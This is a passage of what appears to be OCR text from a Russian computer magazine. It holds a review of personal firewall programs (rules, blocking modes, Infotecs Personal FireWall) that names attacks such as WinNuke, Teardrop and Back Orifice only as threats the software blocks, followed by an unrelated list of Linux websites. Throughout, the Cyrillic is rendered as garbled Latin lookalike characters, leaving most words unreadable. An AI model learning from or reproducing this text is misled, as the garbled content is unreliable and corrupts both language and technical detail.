c6pocMTb noKa3aHM^, me/iKHme npaBOM KHonKon 
M bILUM B OKHe CTaTMCTMKM. V\3 nOflBMBLlJerOC/l MeHfO 
Bbi6epme nyHKT Reset ALL. 

HacTpoMKa FireWall 

rioc/ie Toro KaK Bbi bk/iiohm/im FireWall, craHOBMTC/i 
flOdynHOM 3aK/iaflKa Setting/FireWaLL. B nyHKTe 
FireWaLL RuLe pacno/ioweH cnMCOK pa3peiueHHbix m 
3anpeiMeHHbix flencTBMM. M3Hana/ibHO cncTeMa Ha- 
CTpoeHa Ha 3aiflMTy ot BO, NetBus n nporpaMM, mc- 
no/ib3yiOLflMx Te we nopTbi. B OKOiuKe mowho flo- 
6aB/mTb, M3MeHiiTb m/im yfla/mTb npaBM/ia , comacHo 
KOTopbiM 6yfleT ocyiflecTB/i/iTbai flociyn k pa6oHen 
CT3HflMM. 

Pa6oTa npM/io>KeHiiM 

Fly a Tenepb o tom, KaK HacTpanBaeTC/i FireWaLL. 
YcTaHOBme coeflMHeHMe c HHTepHeTOM m 3anyc- 
TMTe Internet ExpLorer m/im Netscape Navigator. 
Fla 3KpaHe nojiBMTCfl okoluko c HeKOTopon mh- 
cfiopMauneM m neTbipbM/i KHonKaMM. B stom 
OKO iuKe BefleTC/i moh mtopmht MHcj/opMaflMM o 
TOM, KTO M/1 M HTO XOHeT nO/iyHMTb flOCTyn K Baiue- 
My KOMnbiOTepy m/im Hao6opoT M3 KOMnbiOTepa k 
C eTM. FlanpMMep: 

Application - IIpoBOflHHK 

Remote Service - http (80) 

Remote address - www.inetcomm.net 

(195.133.132.66) 

3to 03HanaeT c/ieflyioiflee: Bam 6poy3ep (b flaH- 
hom c/iynae IE) nbiTaeTca no/iyHMTb flOCTyn no FITTP 
(no 80-My nopTy) k IP 195.133.132.66. B BameM 
pacnop/iweHMM ecTb neTbipe BapMaHTa Bbixofla M3 
flaHHOM CMTyauMM (onMCbiBaio KHonKM CBepxy 
bhm 3): 3anpeTMTb nocro/iHHO 3 tot flOCTyn k BameMy 
PC; pa3pemMTb nocroAHHO stot flOCTyn k BameMy 
PC; 3anpeTMTb 0flH0pa30Bbm flOCTyn; pa3pemMTb 
0flH0pa30BbiM flOCTyn. Tax KaK HaM Heo6xoflMMO, 
HTo6bi 6poy3ep nocro/iHHO MMe/i flOCTyn ko BceM IP, 
Bbi6epeM BTopoe. fla/iee noc/ieflyeT Bonpoc o xa- 
paKTepe ycTaHOBKM: flaHHoe npaBM/io othocmtca k 
6poy3epy m/im k flpyroM nporpaMMe; flaHHoe npaBM- 
/10 OTHOCMTC51 TO/lbKO K 3TOMy nopTy M/IM M K flpyrMM 
Towe (a peKOMeHflyio nocTaBMTb «TO/ibKO k 3to- 
My»); flaHHoe npaBM/io othocmtca TO/ibKO k 3TOMy 
IP M/IM M K OCTa/lbHblM TOWe (b flaHHOM C/iyHae HaflO 
nOCT3BMTb «KO BCeM»). 

3aTeM Heo6xoflMMO yxa3aTb mma, nofl KOTopbiM 
ycTaHOBKa 6yqeT xpaHMTbc/i b 3aK/iaflKe Settings, m 
ec/iM noc/ie stom onepaflMM Bbi 3aMfleTe b 
Settings/FireWaLL, to yBMflMTe HOByio 3anMCb. 

AHa/iorMHHO HacrpanBaeTOi m flOCTyn pj\s\ non- 
TOBbix nporpaMM, TO/ibKO BMecTO «Any service» 
HywHO yxa3aTb «0nLy this services 


C ICQ Bee HeMHoro c/iowHee, Tax KaK OHa mc- 
no/ib3yeT HecKO/ibKO nopTOB. Fie 6yfleM noflpo6HO 
ocTaHaB/iMBaTbc/i Ha stom, npocTO o6paiflaeM bhm- 
MaHMe Ha to, hto ICQ npeflcraB/meT co 6 om 6o/ib- 
myio flbipy b CMCTeMy, noaTOMy 3aKpbiTb KOHKpeT- 
Hbie nopTbi 6yfleT BecbMa npo6/ieMaTMHHo. ripoifle 
pa3pemMTb ICQ pa6oTaTb no BceM nopTaM. 

rioflo6HbiM o6pa30M HacTpaMBaeTCB FireWaLL m 
H a flpyrne nporpaMMbi. FnaBHoe — BHMMaTe/ibHO 
c/ieflMTb 3a TeM, hto npocMT flocryna Ha Bamy pa- 
6onyio craHflMio! 

OTpaxteHue aiaK 

B npouecce pa6oTbi MoweT pacKpbiTbc/i OKomKO c 
TeMM we HeTbipbMB KHonKaMM, HO C HeCKO/lbKO He- 
npMBblHHOM MHCjDOpMaflMeM 

cookie: Uid=217195637 
Domain bfast.com 
site service.bfast.com 

m/im HT 0-HM6yflb noflo6Hoe. 3 to pa6oTaiOT Cookies. B 
T3KMX c/iyna/ix, KOHeHHO, mowho no/iHOCTbio 3anpe- 
TMTb flOCTyn k BameMy KOMnbiOTepy, ho c/ieflyeT 
ynecTb oamh HioaHc. fle/io b tom, hto HeKOTopbie caM- 
Tbl He nyCKaiOT Ha CBOM CTpaHMHKM C OTK/llOHeHHbIMM 
Cookies (HanpMMep, www.maiL.ru). Ec/im Bbi He Mowe- 
Te 33MTM Ha CaMT no 3T0M npMHMHe, OTK/nOHMTe npo- 
BepKy Ha Cookies Ha dashboard-naHe/iM. 

Ec/im MfleT aTaKa Ha Bam KOMnbiOTep, to y Bac 
on/iTb-TaKM no/iBMTC/i aHa/iorMHHoe okho c MHcJ/op- 
MaflMeM o tom, OTKyfla npoM3BefleHa aTaKa, BK/uona/i 
IP aTaKyioiflero m Ha3B3HMe nporpaMMbi, c noMOiflbio 
KOTOpOM npOM3BefleHO BTopweHMe. . . 

Application - IIpvijioweHvie yfla/ieHHoro flOCTyna 
Remote Service - nbsession(139) 

Remote address - 194.226.198.36 

Fla 3T0, eCTeCTBeHHO, HaflO OTBeTMTb nO/lHblM 
6/iOKMpoBaHMeM flOCTyna. 

Personal FireWall 

A aHHaa nporpaMMa /iB/meTC/i yHMBepca/ibHbiM 
cpeflCTBOM, o6ecneHMBaioiflMM 3aiflMTy KOMnbiOTepa 
OT HecaHKflMOHMpOBaHHOrO flOCTyna K pa3/lMHHblM 
MHcj/opMaflMOHHbiM m annapaTHbiM pecypcaM Ha HeM 
no IP. Ee ocHOBa — flpaMBep, B3aMM0fleMCTByioLflMM 
HenocpeflCTBeHHo c ApaPmepoM ceTeBoro ypoBH/i. 
3 to o6ecneHMBaeT He3aBMCMM0CTb nporpaMMbi ot 
O nepaflMOHHOM CMCTeMbl M HeflOKyMeHTMpOBaHHbIX 
B03M0WH0CTeM b HeM, a TaKwe HaflewHyio 3aiflMTy, 
TaK KaK nofl03pMTe/ibHbie naKeTbi yHMHTOwaiOTai, 

He floxofl/i flo npM/ioweHMM. Apa^Bep KOHTpo/iMpy- 
eT Becb BXOfl/l IflMM M MCXOfl/l IflMM IP-Tpac|DMK. 

llepcoHa/ibHbiM ceTeBOM 3KpaH 3aHMMaeTC/i 3a- 
LflMTOM KOMnbiOTepa OT p33/lMHHblX aTaK CO CTOpOHbl 
3/ioyMbim/ieHHMKOB, Mcno/ib3yioiflMx WinNuke, Land, 
Teardrop, Ssping, Tear2, NewTear, Bonk, Boink, 
Dest_Unreach, UDP flood. Ping flood, OOBnuke, a 
TaKwe «Tpo/iHCKMx KOHeM» Back Orifice, NetBus, 


Executer, Masters of Paradise n Apymx onacHocreM. 

CeTeBOM 3KpaH b 6o/ibmMHCTBe c/iynaeB noc/ie 
MHCTa/1/1 /IflMM He Tpe6yeT flOnO/lHMTe/lbHblX HaCTpO- 
eKM b OT/iMHMe ot ApyrMx aHa/iorMHHbix nporpaMM- 
Hbix cpeflCTB o6ecneHMBaeT 3aiflMTy PC flawe Ha 
3Tane ero 3arpy3KM. K KOMnbiOTepaM npM ycTaHOBKe 
flaHHoro ceTeBoro 3KpaHa He npeflb/iB/i/ieTC/i Heno- 
MepHbix Tpe6oBaHMM. 3to MoweT 6biTb craflMOHap- 
Hbm m/im nepeHOCHOM KOMnbiOTep c onepaflMOHHOM 
CMCTeMOM Windows-9x/NT/2000 m MOfleMOM m/im 
CeTeBOM KapTOM. 

YcTaHOBKa Personal FireWall 

YcTaHOBKa flaHHOM nporpaMMbi Ha mom PC npoM3om- 
/ia 6e3 npoMcmecTBMM m oneHb 6bicTpo, 6yKBa/ibH0 
3a 20 ceKyHfl, m 3to npM 16 -ckopocthom CD-ROM. 

Bee, hto HywHO 6bi/io fle/iaTb b npoflecce ycTaHOBKM, 
3 to nepMOflMHecKM HawMMaTb KHonKy «Aa/iee». Ilo- 
c/ie nepe3arpy3KM Ha 3KpaH BbiBOflMTC/i 3acTaBKa c 
npefl/ioweHMeM BBecm napo/ib no/ib30BaTe/i/i. 

Pe>KHMbl 

Ba30Ba/i HacTpoMKa Personal FireWall npoMcxoflMT 
nyTeM Bbi6opa pewMMa pa6oTbi, Kawflbm M3 koto- 
pbix noflpa3yMeBaeT onpefle/ieHHyio CTeneHb orpa- 
HMHeHM/i flOCTyna. 

CaMbiM wecTKMM m 6e3onacHbiM pewMM — «B/io- 
KMpOBaTb OTKpbITbIM IP-Tpac|DMK». ErO yCT3H0BKa 
npMBefleT K nO/lHOM 6/lOKMpOBKe KaK BXOfl/UflMX, TaK 
M MCXOfl/1 LflMX OTKpbITbIX COeflMHeHMM. TaKOM peWMM 
a6co/uoTHOM 3aiflMTbi KOMnbiOTepa 3KBMBa/ieHTeH 
OTK/llOHeHMIO KOMnbiOTepa OT BHeillHeM CeTM M pa- 
60 Te B 3BT0H0MH0M peWMMe. FlMKaKMe 3T3KM Ha 
KOMnbiOTep B TaKOM COCTOflHMM npMHflMnMa/lbHO He- 
B03M0WHbl. 

B pewMMe «Pa3pemMTb 3aperMCTpMpoBaHHbm 
OTKpbiTbm IP-Tpac|DMK» o6ecneHMBaeTC/i cJ/n/ibTpa- 
fl M 53 TpacflMKa B COOTBeTCTBMM C 3aflaHHblMM HaCT- 
pOMKaMM cf)M/lbTpOB B MeHIO «OTKpblTa/l CeTb». Ao- 
CTyn k OTKpbiTbiM pecypcaM /lOKa/ibHOM ceTM m I/Ih- 
TepHeTa, a TaKwe flOCTyn k BameMy KOMnbiOTepy c 
MX CTOpOHbl B03M0WeH TO/lbKO B COOTBeTCTBMM C 3a- 
fleMCTBOBaHHblMM HaCTpOMK3MM. Ilo yMO/lHaHMIO B 
3T0M pewMMe TpacflMK no/iHOCTbio 6/10KMpyeTC51. Ec- 
/im Bbi He oneHb xopomo pa36MpaeTecb b IP-npoTO- 
Ko/iax, He peKOMeHflyeTC/i caMOCTO/iTe/ibHo M3Me- 
H51Tb KaKMe-/lM6o HaCTpOMKM B MeHIO «OTKpblTa/l 
ceTb». AaHHbm pewMM mowho nepMOflMHecKM 
BK/H0H3Tb fl/153 Bbl53 B/ieHM53 HecaHKflMOHMpOB3HHblX 
nonbiTOK KOMnbiOTepa ycraHOBMTb coeflMHeHM/i c 
HeM3BecTHbiMM aflpecaMM. Ec/im b MeHio «B/iokmpo- 
BaHHbie naKeTbi» no/iBMTC/i MHcJ/opMaflM/i o TaKMx » 


Personal FireWall 


Pa3pa6oTHMK Copyright © 1999, KOMnaHMH Infotecs. 

nporpaMMa bxoamt b KOMn/ieKT ViPNet Desk 
Pa3Mep apxMBa 5 W\6am 
MecTO Ha flMCKe, 

Heo6xoflMMoe fl/i« MHCTa/i/iflflMM 10 M6aMT 


CHIP 
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a Pmc. 4. Okho ^Personal FireWall» nofleneno Ha ABe nacTH: b /i©bow Haxoflmcq nepapxHHecKoe 
MeHHD, B npaBOM — pa3/lMHHbie AaHHbie B 3aBMCMMOCTM OT Toro, KaKOH H3 nyHKTOB BblSpaH 


» Mcxofl^iMMx naxeiax, to 3aperMCTpMpyMTe stm aflpe- 
ca pj\n mx noc/ieAyioiAeM 6 /iokmpobkm. Torfla m b pe- 
>KMMe «6yMepaHra» pa6oia nonaBWMx Ha KOMnbio- 
Tep nporpaMM, reHepMpyioiAMx HecaHKAMOHMpoBaH- 
HbiM TpacjDMK, 6yflei HeMTpa/iM30BaHa. 

Ec/im Ha KOMnbioTepe ycTaHaB/iMBaeTCfl iokom- 
/im 6 o cepBep m HeT Heo6xoflMMOCTM ycTaHaB/iM- 
BaTb coeflMHeHM^ no ero MHMLjMaTMBe, pe>KMM 3a- 
perMCTpnpoBaHHoro OTKpbuoro IP onTMMa/ieH. B 
3 tom c/iynae Hy>KHO b c|d m/i bTpe p,nn «Bcex He3ape- 
rMCTpMpOBaHHblX naKeTOB» A 06 aBMTb Cj)MJlbTp, 
pa3pemaioiMMM pa6oiy web-cepBepa Ha stom kom- 
nbiOTepe. 

Heo6xoflMMO orpaHMHMTb nepeneHb Apyrnx cep- 
BepoB, c KOTopbiMM B03M0>KHa pa6oia. fl/lfl 3TOrO B 
MeHio «0TKpbiTa5i ceTb» Haflo 3aperMCTpnpoBaTb 
KOHKpeTHbie aflpeca stmx web-cepBepoB c c|DM/ibT- 
poM, pa3peiuaioiMMM pa6oiy c hmmm. 

Bbi MO>KeTe b 3tom pe>KMMe HacTpaMBaTb, npM 
Heo6xOflMMOCTM, c(DM/lbTpbl KaK RJW BCeX aflpeCOB 
cpa3y, TaK m rj\s\ KOHKpeTHbix IP-aApecoB. ripn 
3TOM HaCTpOMKM c|)M/lbTpOB RJW KOHKpeTHbIX aApe- 
COB 1/IMeiOT 6o/lbLUMM npMopMTeT, TO eCTb OHM OTMe- 
haiot o6iAMe HacTpoMKM c|d mi bTp a «Bce He3aperMCT- 
pMpoBaHHbie naKeTbi». 

Pe>KMM «ByMepaHr», npn kotopom pa3pewaiOTCfl 
MHMAMaTMBHbie OTKpbiTbie coeAMHeHMfl, npeAHa3Ha- 
neH p,nn o6ecneHeHM5i HaM6ojibweM 6e3onacHOCTM 
npn pa6oTe b MHTepHeTe c OTKpbiTbiMM cepBepaMM 
M KOMnblOTepaMM, 3TO OnTMMa/lbHblM B 6o/lbWMHCTBe 
c/iynaeB pe>KMM 3aiAMTbi. npn HeM o6ecneHMBaeTCfl 
3aiAMTa ot /iio6bix bmaob aTaK, b tom HMC/ie ot mhm- 
AMa/lM3aAMM pa3/lMHHblX «TpOflHCKMX KOHeM». B 
3 tom pe>KMMe npaKTMHecKM bo Bcex cjiyHaax Bbi mo- 
>KeTe no CBoeM MHMLjMaTMBe no/iyHMTb oahoctopoh- 
hmm AOCTyn k OTKpbiTbiM pecypcaM /lOKa/ibHOM ceTM 
m I/I HTepHeTa, a AOCTyn Ha Baiu KOMnbiOTep c Apyrux 
aApecoB m/im no ApyrMM npoTOKO/iaM 6yAeT no/iHO- 
CTblO 3aKpblT. 

CyiAecTByeT Aea B03M0>KHbix nop^AKa pa6oTbi 
6yMepaHra. B >KecTKOM pe>KMMe 3aiAMTbi aHa/iM3 no- 
CTynatoiAeM bo BpeMA coeAMHeHMa MHcjDopMauMM 
npoM3BOAMTC5i no 6o/ibwoMy KO/iMHecTBy napaMeT- 
poB (aApec, npoTOKO/i, nopT). llosTOMy aTaKM Ha 
KOMnbiOTep npaKTMHecKM HeB03M0>KHbi, p,aw.e c 
KOMnbiOTepa, c KOTopbiM ycTaHOB/ieHO coeAMHeHMe. 

B MflrKOM pe>KMMe aHa/iM3 nocTynaioiAeM bo 
BpeMfl COeAMHeHMfl MHC|)OpMaAMM npOM3BOAMTC51 c 
MeHbLUMM npMCTpaCTMeM, nOSTOMy AaHHbIM pe>KMM 
MeHee 6e3onaceH m ero peKOMeHAyoTCfl Mcno/ib30- 
BaTb TO/ibKO b c/iynae h 6 o 6 xoammoctm. 

B pe>KMMe «He 6/ioKMpoBaTb OTKpbiTbiM IP-Tpa- 
cJdmk» 3aiAMTa CHATa m Baiu KOMnbiOTep no/iHocrbio 
OTKpbiT A-fifl AOCTyna M3BHe. OM/ibrpauMfl OTKpbiToro 
TpacjDMKa He npoM3BOAMTCfl. Pe>KMM npeAHa3HaneH 
TO/l bKO RJW BpeMeHHOrO BK/llOHeHMfl npM OT/iaAOH- 
Hbix pa6oTax. B stom pe>KMMe BeAeTCfl wypHa/i Tpa- 
cjDMKa IP-naxeTOB. 

npn ycTaHOBKe pe>KMMa «0TK/iiOHMTb ApaMBep 
3aiAMTbi» 3aiAMTa BOBce CHMMaera m KOMnbiOTep 
no/iHOCTbio OTKpbiT p,nn AOCTyna M3BHe! OM/ibTpa- 


UM 53 OTKpblTOTO Tpa^MKa He npOM 3 BOAHTC 51 . B 
3tom pe>KMMe He BeAGTC^i wypHa/i Tpa^MKa IP-na- 
KeTOB. Ero He peKOMeHAyera Mcno/ib 30 BaTb. 

ripOTOKO/lbl 

Be3yc^OBHbiM npeMMyiAecTBOM Personal FireWall 

AB/lfleTCfl TO, HTO OHa MO>KeT pa 60 TaTb C 6o/lbLUMM 
KO/lMHeCTBOM CeTeBbIX npOTOKO/lOB. IIommmo TCP, 
noAAep>KMBaiOTCfl ICMP, UDP. npn h6o6xoammoctm 
CnMCOK npOTOKO^OB mo>kho paciuMpMTb. TaK>Ke 
MO>KHO BpeMeHHO OTK/llOHMTb CjDMJIbTp, TO eCTb pa3- 
peiuMTb m/im 3anpeTMTb pa6oTy cyKa3aHHbiM IP-aA- 
pecoM, b 3aA3HHOM Anana30He 3HaneHMM nopTOB, 
no Bbi6paHHbiM npoTOKO^aM. Pa6oTa no Ka>KAOMy 
M3 npoTOKO/iOB HacTpaMBaeTC^ OTAe/ibHo. 

ICMP yKa3biBaeTCfl, pa3peiuaTb vim 6^okm- 
poBaTb naxeT c napaMeTpaMM, yKa3aHHbiMM b c(dm/i b- 
Tpe, TaM Bbi6MpaeTCfl HanpaB^eHMe nepeAaBaeMoro 
coo6iAeHM5i (McxoA^iAee, BxoAfliAee, -mo6oe), TMn 
coo6iAeHM5i ICMP (no yMO/inaHMio — Becb Anana- 
30H ot 0 ao 255). B noc/ieAHeM nyHKTe mo>kho yxa- 
3aTb KaK Anana30H, TaK m OTAe/ibHoe 3HaneHMe. 

\ TCP yKa3biBaeTCfl, KaKOM KOMnbiOTep mnn- 
eTc^i cepBepoM (cbom, ny>KOM m^m ^io6om), pe>KMMbi 
3aAaHM^i HOMepoB CBoero m nyworo nopTOB (ot 0 ao 
65535). 3Aecb on^Tb-TaKM mo>kho yKa3aTb KaK Ana- 
na30H, TaK m OTAe/ibHoe 3HaneHMe. 

npM pa6oTe c UDP, TaK we KaK m p,nn ICMP, yKa- 
3biBaiOTC5i HanpaB^eHMe nepeAaBaeMoro coo6iAe- 
HM5i (McxoA^iAee, BxoA^iAee, /no6oe), pewMMbi 3aAa- 
HM5i HOMepoB CBoero m nyworo nopTOB (ot 0 ao 
65535). Heo6xoAMMbie BaM web-cepBepbi perMCT- 


pMpyioTc^i m c hmmm pa3peiuaeTCfl ^m6o 3anpeiAaeT- 
cn pa6oTa. 3to mowho CAe^aTb c/ieAyioiAMM o6pa- 
30m: b CTpoKe «Mm5i KOMnbiOTepa» Ha6epMTe URL 
web-caMTa, KOTopbiM Bbi xotmtc 3aperMCTpMpoBaTb, 
m HawMMTe K^aBMiuy «ripMH5iTb» m/im Enter. IIo^b- 
/15ieTCj1 OKHO nOMCKa M npOM3BOAMTC51 nOMCK IP-aA- 
pecoB. Iloc^e onpeAe^eHM^i aApecoB ohm noflB/ifl- 
tOTCii b oKHe IP-aApec. fla^ee Heo6xoAMMO Bbi- 
6paTb, hto Bbi xoTMTe CAe^aTb c 3 tmm cepBepoM, 
pa3peiuMTb m/im 6^0KMpoBaTb. 3aTeM mowho ocTa- 
BMTb KaKyio-^M6o noMeTKy Ha 6yAyiAee b CTpoKe 
«KoMMeHTapMM» m HawaTb KHOnKy «ripMH51Tb». 

KoHc|>MrypaLJiMM 

EiAe OAHa OT/iMHMTe/ibHaii oco6eHHocTb Personal 
FireWall — My/ibTMKOHcjDMrypauMOHHOCTb. 

Mowho 3anoMHMTb pa3/iMHHbie KOHc|DMrypai4MM, 
C03AaHHbie no^b30BaTe^eM, to ecTb coxpaH^Tb p,nn 
noc^eAyioiAero Mcno^b30BaHM^i pa3Hbie HacTpoMKM 
Personal FireWall noA pa3/iMHHbiMM MMeHaMM. C 
KOHC|DMrypaUM51MM B03M0>KHbl OnepaLJMM C03AaHM51, 

peAaKTMpoBaHM^, nepeMMeHOBaHM^ m ynanenm. 

3aK/noHeHne 

Personal FireWall noAxoAMT p,nn KopnopaTMBHoro 
Mcno^b30BaHM5i b He6o^biuMx zioKa/ibHbix ceT^x, a 
p,nn AOMaiuHero Mcno/ib30BaHMfl, oco6eHHO ec^M 
Bac BO/iHyeT 6e3onacHocTb npn pa6oTe b I/I HTepHe- 
Te, oh npeAOCTaB^^eT McnepnbiBaioiAMe bo3mo>kho- 
ctm. 0 ApyrMx nporpaMMax, o6ecneHMBaioiAMx 6e30- 
nacHOCTb, Mbi noroBopMM b c^eAyioiAeM HOMepe. 

■ ■ ■ AjieKcevi MvixyTa 
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Linux-pecypcbi 

C«a>KM MHe, KaKan y Te6a OC, 

M CKa>Ky KTO Tbl... 


E c/im Bepmb ^HfleKcy (HaMAeTca Bee, KaK- 
hmkbk), b PyHeie c/iOBO Linux BcrpenaeTCfl 
586 972 pa3a. Ec/im Bbi pewM/iM nepeMTM Ha 3Ty 
onepauMOHHyio cm ere My, 6 yflbie roTOBbi k TOMy, hto 
pecypcbi MHTepHeia MHoroo 6 pa 3 Hbi m 3 anyiaHbi. He 
OTHanBaPiTecb, Mbi AaflUM HecKO/ibKO ccbi/ioK, koto- 
pbie noMoryT BaM copMeHTMpoBaTbca b stom c/io>k- 

HOM M HenOHflTHOM MMpe. 

npe>KAe Bcero, oc})mjiMa/ibHb[e pecypcbi: 

http://www.linux.org 

Ha3BaHMe roBopMT caMO 3a ce 6 a. 3 to maBHafl crpa- 
HMLja onepauMOHHOM CMcreMbi. TaM Bee: hoboctm, 
aHOHC khmtm no B 3 /iOMy Linux, AOKyMeHTauM^, auc- 
TpM 6 yTMBbi u MHoroe Apyroe. C KHnrou, npaBAa, He- 
noH^THo: OHa npeA/iaraeTCfl KaK noco 6 ue no 6e30- 
nacHOCTM, ho HanncaHa abho He c no3MAun 3aiAU- 
lAatoiAerocfl, a Hao 6 opoT. BnponeM, b stom edb 
cboa zioruKa. 

/Via oco 6 o cfiaHaTMHHbix noK/iOHHMKOB OC npeA/ia- 
raeTCfl k npoAa>Ke Kpy>KKa. C ni/iHTBHHOM. 

http://www.linux.com 

CaMT Ao6poBO^bHoro o6-beAUHeHMfl coo6iAecTBa 
Linux (Linux community). I"Iommmo npuBbiHHbix ho- 
BOdeM (o 6 biHHo, 3 to pe/iu3bi hobom Bepcnn AApa, 
3aMeneHHbie owm 6 km, BbixoAfliAue AHCTpn 6 yTUBbi u 
Ap.) mo>kho CMe/io nopeKOMeHAOBaTb oneHb no/ie3- 


hnm pa3Ae/i Linux Hardware (cnMCKM >Ke/ie 3 a, coBMe- 
dMMoro c OC, a Taione ApauBepa). l/l 3 BedH 0 , hto 
L inux pa 6 oTaeT Aa/ieKO He co BceM >Ke/ie30M, no3TO- 
My BcerAa no/ie 3 HO y 3 HaTb, noApywMTCfl /in OC c TeM 

M/1M 1/IHblM WeCTKMM AMCKOM M/1M BMAGOyCKOpUTe/ieM. 

http://www.linux-mag.com 

>KypHa/i Linux-coo6iAecTBa. Tax u Ha3biBaeTCfl: xpo- 
HMKa peBO/nouuu. M 3 no/ie3Horo — Macca MHCpop- 
MaAMM npo HOBbie pe/iu3bi, owm 6 km, a TaK>Ke aHa/iu- 
TMHecKMe CTaTbM. Mo>kho noAnncaTbCfl Ha hoboctm, 
ho oco6oro BHMM3HM51 3ac/iy>KUBaeT pa3Ae/i HOW-TO 
articles (aoc/iobho — craTbu 0 tom, KaK HaAo). 

http://linuxtoday.com 

0H^aMH-ra3eTa npo Linux. Mo>kho Bbi6paTb Bpe- 
MeHHOM Anana30H, HanpnMep, ot caMoro CBe>Kero 
HOMepa ao HOBOcreu AeyxHeAe/ibHOM AaBHOCTM. 
OrpoMHbie apxMBbi m nocTOAHHO ny6/iuKyeMbie ho- 
Bbie MaTepna/ibi coAep>KaT Maccy no/ie3Horo He 
TO/ibKO pj\s\ «TexHapeM», ho m p,nn MAeo/ioroB. Ec/in 
xoneiub CTaTb cbomm b Linux-TycoBKe, HaAO HMTaTb. 

Tenepb abuhcmch b PyHeT. 

y Hac, KOHeHHo, He Tax, KaK y hmx. flawe koampobok 
K upn/i/iMAbi MHoro (3anaAHaa — OAHa). B PyHeTe 
C03AaTe/m caMTa npo Linux ynpexaiOT b ncno/ib30- 
b 3 hmm He-Linux KOAMpoBKM (He KOI-8). TaK hto y 



Hac pecypcbi n Bece/iee, n 6 o/iee o 6 cy>KAaeMbie. Ho 
noneMy-TO 60 /ibWMHCTBO M3 hmx ocfiopMjieHbi oaho- 
o 6 pa 3 Ho: 6 e/ibiu lupmcJdt Ha tcmhom cpoHe. I/I eiAe c 
>Ke/lTblMM BKpan/ieHMflMM. 

http://www.linux.org.ru 

PeHTpa^bHbiM pecypc poccuucKoro Linux-coo 6 iAe- 
CTBa. rioAAep>KMBaeTC5i rpynnoM 3HTy3MacT0 b, m, 

HaAo CKa3aTb, Ha ao/dkhom ypoBHe. Ha 3amaBHon 
CTpaHMAe Bbi HaMAeTe zieHTy HOBOcreu c 3M6/ieMOM 
rpynnbi, mx coo6iAMBiueM. EcTb orpoMHoe KO/iuHecT- 
BO CjDOpyMOB, B KOTOpbIX mo>kho npoHecTb peKOMeH- 
AauMM cneuMa/iMCTOB no o6xoAy KaKMx-/iM6o «y3- 
KMX MeCT» npM yCTaHOBKe OC M/ 1 M MCn0/lb30BaHMM 
TOM M/1M MHOM Cj/yHKpMM. 

M 3 AOMCTBMTe/ibHoro no/ie3Horo: pa3Ae/i 
«AMCTpM6yTMBbl». M HC|DOpMai4M53 0 K3>KA0M A^C- 
TpM6yTMBe CKa>KeT o BepcMM AApa, Mcno/ib3yeMOM » 
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» KOMn i/i/i ATope C, a Tax>xe flacT xpaTXMM xoMMeHTa- 
pn m, noH/iTHbiM fla>ne HannHax/iAMM. Hy m ccbi/iKy 
Ha caMT pa3pa6oTHMKa. 

http://linuxrsp.ru 

Bee, HTO Bbl XOTe/lM 3HaTb 0 Linux. llpnflTHblPi (He 
HepH0-6e/ibm) AM3aPiH, 3ax/iaAOHHaa HaBMraunfl. 

He noTepflewbCfl. Mo>kho noflnncaibc/i Ha paccbi/i- 

Ky HOBOCTeM. 


CWDOCT TtificcnilCITHblHUKTHHI 
nj'H ujA limbi HCiri 




http://www.linuxcenter.ru/about.phtml 

CaPiT npoeKTa Linux-LjeHTpa. Cboio 3aflany oh bm- 
AMT B npOABM>KeHMM 3T0M AOCTOMHOM OC B POCCMM. 
B ochobhom, 3 to n/iaHMpyeTca Ae/iaTb nocpeACT- 
bom MHcjDopMMpoBaHM/i 060 Bcex noc/ieAHMx Co6bl- 


TMflX M paCnpOCTpaHeHM/1 Bcex AOCTOPiHbIX BHMMa- 
hma AHCTpM6yTMB0B Linux m FreeBSD. OneHb He- 
n/ioxo pa3BMT pa3Ae/i no/ie3Hbix coBeTOB. Co3Aa- 
Te/iM TaK>Ke aHOHCMpoBa/i m SHAMX/ioneAMX) Linux, 
KOTopaa no cyTM AB/meTca co6paHMeM ccbi/ioK. Tax 
hto ecTb rnaHC noynacTBOBaTb, Ao6aBMB cboio, m/im 
H aMA/i MHTepecHbiM m no/ie3HbiM pecypc. 

http://www.moscow.lug.ru:8101 

HaBepHoe, b 1/lHTepHeTe ecTb caPiT rpynnbi no/ib30- 
BaTe/ieu Windows, ho HaM noxa Taxnx He nonaAa- 
ziocb. y no/ib30BaTe/ieM Linux TaKMx cxo/ibKO yroA- 
ho. riy6/iMKyeMa/i ccbi/ixa BeAeT Ha caMT Mocxob- 
cxom rpynnbi, m ec/iM Tbi BMAe/i oamh TaxoPi, chmt 3 m 
BMA e/i mx Bee. CraHAapTHafl xoMnoHOBxa: hoboctm 
coo6iAecTBa, hoboctm rpynnbi, cocraB ynacTHMXOB, 
Mcno/ib3yeMbie AHCTpn6yTMBbi, co6cTBeHHoe TBop- 
necTBO. Bot, no>xa/iyM, Bee. 1/lHTepecHo, HaBepHoe, 
6biTb BHyTpn, TeM 6o/iee hto b 6o/ibiuMHCTBe CBoeM 
/IMHyXCOMAbI — CMMnaTMHHbie M 0T3blBHMBbie /1X)AM. 
BcrynaPi, He no/xa/ieewb. 

http://linux.agava.ru 

«Linux — cpeACTBO Bon/ioiAeHMfl MeHTbi!» TaxoPi 
snMrpacjD 6bm ash aBTopoM CBoeMy caMTy. HpaBMTca 
ne/iOBexy Linux, bot oh caPiT m CAe/ia/i. Ero mo>xho 
CM e/io pexoMeHAOBaTb hobmhx 3 m. Tax xax CTaTbM xa- 
CaX)TCfl B OCHOBHOM yCTaHOBXM m xoHc|DMrypMpoBa- 
hma Linux, Hy m pa3Mbiiu/ieHMPi aBTopa Ha TeMy «rio- 
neMy >xe Linux TaxoPi xopownPi?» rio/ie3Hoe HTeHMe. 

http://linuxcave.hut.ru 

CxpoMHbiPi napeHb/lexa C03Aa/i Hen/ioxoM pecypc 
«Kax m 3a hto a n\o 6 n\o Linux!». rioA6opxa hobo- 
CTeM — Ta >xe, hto Ha Linux.org.ru. MHTepeceH pa3- 
Ae/i «Ccbi/ixM»: TaM c xpaTXMM xoMMeHTapneM AaHbi 
ccw/ixm Ha ocHOBHbie Linux-pecypcbi. Iloxa caMT 
Hano/iOBMHy Under Construction, ho o6eiAaeT Bbi- 
pacTM bo hto-to CTO/UAee. I/I 3 HeAOCTaTXOB: oneHb 
c/ia6oe 3H3Hne pyeexoro A3bixa. 

http://www.linux-online.ru 

Linux, caM no ce6e, 6ecn/iaTHbiPi. Ho ero ahctpm- 
6yTMBbi cto/it AeHer, a eiAe, ec/iM Tbi no/ib30BaTe/ib 


xy/ibTOBoPi OC, Te6e He noMeiuaeT MaPixa c nap,n\A- 
